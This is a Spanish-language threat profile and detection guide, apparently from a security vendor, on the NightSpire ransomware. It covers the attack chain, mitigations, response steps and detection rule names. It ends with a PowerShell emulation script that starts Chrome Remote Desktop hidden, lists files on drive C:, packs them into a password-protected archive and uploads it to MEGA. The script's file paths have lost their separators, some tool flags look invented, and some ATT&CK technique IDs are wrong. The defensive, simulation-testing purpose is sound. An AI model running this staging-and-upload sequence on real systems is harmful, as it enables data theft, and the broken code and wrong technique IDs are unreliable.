Cadena de Ataque de Ransomware NightSpire, Herramientas y Tácticas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
NightSpire es una familia de ransomware basado en Go observada por primera vez a principios de 2025 que utiliza un modelo de doble extorsión, robando datos antes de la encriptación y amenazando con publicarlos en un sitio de filtración basado en Tor. El ransomware añade una .nspire extensión a los archivos encriptados y coloca notas de rescate en cada directorio afectado, incluidos los vinculados a OneDrive. Sus operadores confían en herramientas legítimas de administración remota para mantener el acceso y utilizan utilidades disponibles públicamente para descubrimiento, archivo y exfiltración. Entre marzo y junio de 2025, la campaña impactó al menos a 64 organizaciones en 33 países.
Investigación
La investigación mostró que los atacantes comúnmente obtenían acceso inicial a través de RDP expuesto y luego instalaban Chrome Remote Desktop y AnyDesk como servicios persistentes. Utilizaban Everything para localizar archivos rápidamente, 7-Zip para construir archivos protegidos por contraseña y MEGAsync para cargar datos robados a almacenamiento en la nube MEGA. El encriptador basado en Go se ejecutaba bajo conhost.exe, enumeraba todas las unidades disponibles y encriptaba archivos mientras dejaba los nombres de archivo de OneDrive sin cambios. La fase de extorsión dependía de un sitio de filtración alojado en Tor usado para presionar a las víctimas después de la exfiltración.
Mitigación
Las organizaciones deben reducir o eliminar la exposición directa de RDP, monitorear el despliegue inesperado de herramientas legítimas de administración remota como servicios y aplicar listas de permisos de aplicaciones a binarios como Chrome Remote Desktop y AnyDesk. Las detecciones comportamentales deben centrarse en la enumeración masiva de archivos, la creación de archivos y cargas inusuales a servicios de almacenamiento en la nube. Las copias de seguridad regulares y los procedimientos de recuperación probados siguen siendo esenciales, y los controles de red deben bloquear los puntos de carga de MEGA conocidos. Las defensas también pueden validarse mediante ejercicios de simulación de ransomware controlado, como los ofrecidos por Picus.
Respuesta
Si se detecta actividad de NightSpire, aísle el endpoint afectado de inmediato, termine el proceso del encriptador y recolecte memoria volátil para análisis. Deshabilite cualquier servicio malicioso, elimine herramientas de acceso remoto persistente y bloquee la comunicación de red relacionada. La recuperación debe proceder a partir de copias de seguridad confiables, y los interesados relevantes deben ser notificados. El incidente también debe ser reportado a las fuerzas del orden, mientras los defensores continúan monitoreando el sitio de filtración de Tor asociado en busca de signos de datos publicados.
Flujo de Ataque
Detecciones
Posible Recolección de Datos [7zip] (vía cmdline)
Ver
Software Alternativo de Acceso Remoto / Gestión (vía creación de proceso)
Ver
Posible Instalación Oculta de Chrome Remote Desktop (vía cmdline)
Ver
Software Alternativo de Acceso Remoto / Gestión (vía sistema)
Ver
Software Alternativo de Acceso Remoto / Gestión (vía auditoría)
Ver
Detección de Herramientas de Persistencia y Exfiltración del Ransomware NightSpire [Creación de Procesos en Windows]
Ver
Ejecución de Simulación
Prerrequisito: El Chequeo Previo de Telemetría & Línea Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para disparar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntan a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un mal diagnóstico.
-
Narrativa & Comandos del Ataque:
- Configuración de Persistencia (T1547 / T1219): Instalar Chrome Remote Desktop (ruta predeterminada) y comenzar su servicio para obtener control remoto persistente.
- Descubrimiento (T1083): Utilizar Everything.exe para enumerar todos los archivos en la unidad C:, guardando la salida en una lista temporal.
- Archivado (T1037 / T1083): Invocar 7‑Zip para comprimir los archivos descubiertos en un archivo protegido por contraseña.
- Exfiltración (T1219.003): Lanzar MEGAsync para cargar el archivo a una cuenta de MEGA.
La secuencia asegura que selection_remote_access (Chrome Remote Desktop) esté activo mientras al menos uno de selection_discovery, selection_archive, o selection_exfiltration ocurre, satisfaciendo la condición de la regla.
-
Script de Prueba de Regresión:
# ------------------------------------------------------------------------- # Simulación de Persistencia Lateral & Exfiltración de NightSpire # ------------------------------------------------------------------------- # Prerrequisitos: # - Chrome Remote Desktop instalado en la ruta predeterminada # - Everything.exe instalado en la ruta predeterminada # - 7z.exe instalado en la ruta predeterminada # - MEGAsync instalado en la ruta predeterminada del perfil de usuario # ------------------------------------------------------------------------- # 1. Asegurar que el servicio de Chrome Remote Desktop está funcionando (simula persistencia) $crdPath = "$Env:ProgramFiles(x86)GoogleChrome Remote Desktop147.0.7727.3remoting_host.exe" if (Test-Path $crdPath) { Start-Process -FilePath $crdPath -ArgumentList "--start-service" -WindowStyle Hidden Write-Host "Chrome Remote Desktop service started." } else { Write-Error "Chrome Remote Desktop not found at $crdPath" exit 1 } # 2. Descubrimiento de archivos con Everything $everythingPath = "$Env:ProgramFilesEverythingEverything.exe" $discoveryOutput = "$env:TEMPfilelist.txt" if (Test-Path $everythingPath) { & $everythingPath -search "C:" -output $discoveryOutput Write-Host "Discovery completed, results saved to $discoveryOutput" } else { Write-Error "Everything.exe not found at $everythingPath" exit 1 } # 3. Archivar los archivos descubiertos con 7‑Zip $sevenZipPath = "$Env:ProgramFiles7-Zip7z.exe" $archivePath = "$env:TEMPexfil_archive.zip" if (Test-Path $sevenZipPath) { & $sevenZipPath a -tzip $archivePath "@$discoveryOutput" -p"StrongP@ssw0rd!" Write-Host "Archive created at $archivePath" } else { Write-Error "7z.exe not found at $sevenZipPath" exit 1 } # 4. Cargar archivo vía MEGAsync (exfiltración) $megaPath = "$Env:LOCALAPPDATAMEGAsyncMEGAsync.exe" if (Test-Path $megaPath) { & $megaPath --upload $archivePath Write-Host "Upload initiated via MEGAsync." } else { Write-Error "MEGAsync.exe not found at $megaPath" exit 1 } # Fin de la simulación -
Comandos de Limpieza:
# Detener el servicio de Chrome Remote Desktop Stop-Process -Name "remoting_host" -Force -ErrorAction SilentlyContinue # Eliminar archivos temporales Remove-Item -Path "$env:TEMPfilelist.txt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPexfil_archive.zip" -Force -ErrorAction SilentlyContinue # Opcionalmente detener MEGAsync si está en ejecución Stop-Process -Name "MEGAsync" -Force -ErrorAction SilentlyContinue